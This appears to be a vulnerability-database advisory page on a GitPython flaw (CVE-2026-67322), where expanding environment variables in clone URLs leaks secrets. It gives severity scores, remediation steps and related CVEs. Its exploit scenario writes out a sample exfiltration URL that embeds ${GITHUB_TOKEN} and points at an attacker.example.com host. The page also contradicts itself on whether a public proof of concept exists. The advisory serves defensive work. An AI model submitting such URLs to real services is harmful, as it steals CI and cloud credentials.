Skip to main content

GitPython EUVDEUVD-2026-51855

| CVE-2026-67322 HIGH
Information Exposure (CWE-200)
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify service accepting user-supplied clone URLs
  2. Delivery
    Craft URL embedding $ENV_VAR tokens
  3. Exploit
    Submit malicious URL to target service
  4. Execution
    Server invokes polish_url() calling os.path.expandvars()
  5. Persist
    git clone transmits expanded secret to attacker host
  6. Impact
    Attacker captures secret from server logs

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK

2 techniques across 2 tactics: Collection, Discovery

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target application calls Repo.clone_from() (or Repo.clone()) with a URL that the attacker controls - the exact design pattern documented and intended by GitPython for 'import repository from URL' features. No authentication to the GitPython application is inherently required (PR:N per CVSS 4.0), but many real deployments gate URL submission behind a login; defenders should assess whether their specific service allows unauthenticated URL submission. The vulnerability is limited to non-Cygwin platforms; applications running GitPython under Cygwin on Windows are not affected. No environment variable needs to contain a secret for the vulnerability class to exist, but the real-world impact is proportional to what secrets are present in the process environment at clone time (CI tokens, cloud credentials, signing keys). Applications that only ever clone from hardcoded or internally validated URLs are not exploitable.

Impact

The CVSS 4.0 score of 8.7 with vector AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N accurately reflects the real-world risk profile: the attack requires no authentication, no special conditions, no user interaction, and produces high confidentiality impact. The exploitable surface is any application or service that accepts a user-supplied URL and passes it to Repo.clone_from() - explicitly the documented pattern for CI server 'import from URL' features, git-hosting mirrors, and dependency scanners, as confirmed by the GHSA advisory. The attack primitive is trivially simple (embed $SECRET in a URL) and the payoff is high-value secrets such as cloud credentials and CI tokens. No KEV listing or public POC has been identified, which slightly tempers urgency compared to actively exploited issues, but the low exploitation bar makes this a credible near-term threat in any Python-based DevOps environment. No conflicting signals are present: CVSS, description, and GHSA advisory are fully consistent. The only limiting factor is that the vulnerable code path must be reachable with attacker-supplied URL input, which is the intended design of clone_from().

Exploit ScenarioDerived

An attacker targeting a CI/CD platform or git-hosting mirror that accepts user-submitted repository URLs crafts a URL such as https://${GITHUB_TOKEN}@attacker.example.com/steal. When the server calls Repo.clone_from() on this URL, polish_url() expands ${GITHUB_TOKEN} to the actual token value before git clone initiates a network connection to attacker.example.com, transmitting the secret in the HTTP request path - which the attacker logs server-side. No public POC has been identified, but the attack requires only the ability to submit a clone URL and control a listening server.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 01, 2026

Environment variable exfiltration in GitPython before 3.1.52 allows any attacker who controls a URL passed to Repo.clone_from() to steal secrets from the hosting process's environment. The Git.polish_url() method unconditionally calls os.path.expandvars() on caller-supplied URLs on all non-Cygwin platforms, expanding tokens like $AWS_SECRET_ACCESS_KEY or ${GITHUB_TOKEN} before passing the resulting URL to a git clone subprocess - transmitting the expanded secret over the network to an attacker-controlled host. No public exploit code or CISA KEV listing has been identified at time of analysis, but the attack is trivial to weaponize against CI servers, git-hosting mirrors, and dependency scanners that accept user-supplied repository URLs.

RemediationAI

Upgrade gitpython to version 3.1.52 or later using pip install --upgrade gitpython. The fix is delivered via upstream PR #2172 (https://github.com/gitpython-developers/GitPython/pull/2172) and commit 8ac5a30519b6f4af85398b9b9d7064ff4d452da2; version 3.1.52 is confirmed as the patched release per package advisory data. If an immediate upgrade is not possible, the primary compensating control is to sanitize or reject any URL containing $ or % characters before passing it to Repo.clone_from() - note that this may break legitimate URLs with percent-encoded characters and should be implemented carefully with allowlist logic rather than a simple character block. A secondary option is to clear sensitive environment variables (e.g., os.environ.pop('AWS_SECRET_ACCESS_KEY', None)) in the process before calling clone_from(), but this risks breaking other functionality that depends on those variables. Neither workaround is a substitute for patching. The vendor advisory is at https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573.

Affected VersionsENISA

GitPython 0 <3.1.52

Affected Packages

pypi gitpython fix: 3.1.52

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GitPython (PyPI: gitpython, CPE: cpe:2.3:a:gitpython-developers:gitpython:*:*:*:*:*:*:*:*) is a Python library providing a high-level interface to Git repositories. The vulnerability originates in Git.polish_url() (git/cmd.py, line 921, v3.1.50) which unconditionally invokes Python's os.path.expandvars() on the input URL on every non-Cygwin platform. This function replaces $NAME and ${NAME} shell-variable tokens with their values from the current process environment. Because Repo._clone() - the backend for both the public Repo.clone_from() and Repo.clone() - runs the unsafe-protocol check on the *raw* URL and then passes the *post-expansion* polished URL to the git clone subprocess, the secret is embedded in the URL before the network connection is made. The root cause class is CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor): a trust boundary violation where untrusted input (the caller-supplied URL) is able to read and then transmit trusted data (process environment variables) to an attacker-controlled destination.

Know when Gitpython gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

Network-exploitable via attacker-supplied URL; no privileges, authentication, or interaction required; high confidentiality loss from env var exfiltration; no integrity or availability impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Red Hat 7.5 HIGH

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 01, 2026 - 13:01 EUVD
CVE Published
Aug 01, 2026 - 12:22 cve.org
HIGH 8.7

DescriptionCVE.org

GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 6 pypi packages depend on gitpython (6 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.1.52.

Executive ViewAI

Why It Matters

GitPython versions prior to 3.1.52 exfiltrate environment variables containing production secrets (AWS credentials, GitHub tokens, etc.) when processing attacker-controlled repository URLs, exposing CI/CD pipelines and automation platforms to credential compromise. Any organization using GitPython to clone repositories faces risk of unauthorized access to cloud infrastructure and source code repositories. A vendor-released patch is available and requires immediate deployment.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 82% exploitable
Prevalence
Medium
popular Python library for CI/CD pipelines and DevOps tooling
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High
EUVD 🇯🇵JVN NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

CVE-2022-24439 CRITICAL POC
9.8 Dec 06

All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, w

CVE-2026-78676 CRITICAL POC
9.3 Aug 25

Arbitrary code execution in GitPython before 3.1.59 arises from unsafe re-serialization of multi-line, quoted git-config

CVE-2026-67325 HIGH POC
8.7 Aug 01

Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blockl

CVE-2026-42215 HIGH POC
8.8 May 07

Command injection in GitPython 3.1.30-3.1.46 allows remote authenticated attackers to execute arbitrary commands via und

CVE-2026-67323 HIGH POC
8.6 Aug 01

Command injection and arbitrary file overwrite in GitPython before 3.1.51 expose applications that pass attacker-control

CVE-2026-78677 HIGH POC
8.7 Aug 25

Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. Th

CVE-2026-78675 HIGH POC
8.6 Aug 25

GitPython before 3.1.59 discloses local file content through exception messages when parsing .gitmodules files that cont

CVE-2023-40590 HIGH POC
7.8 Aug 28

GitPython is a python library used to interact with Git repositories. Rated high severity (CVSS 7.8), this vulnerability

CVE-2026-78679 HIGH POC
7.1 Aug 25

Arbitrary file read in GitPython before 3.1.59 allows low-privileged remote attackers to exfiltrate sensitive files by s

CVE-2026-78678 HIGH POC
7.1 Aug 25

Arbitrary file read in GitPython versions before 3.1.59 exposes sensitive filesystem content to low-privileged network a

CVE-2023-41040 MEDIUM POC
6.5 Aug 30

GitPython is a python library used to interact with Git repositories. Rated medium severity (CVSS 6.5), this vulnerabili

CVE-2026-42284 CRITICAL
9.8 May 07

Argument injection in GitPython's clone helpers lets an attacker-controlled multi_options string slip past the unsafe-op

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Server 16.0 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy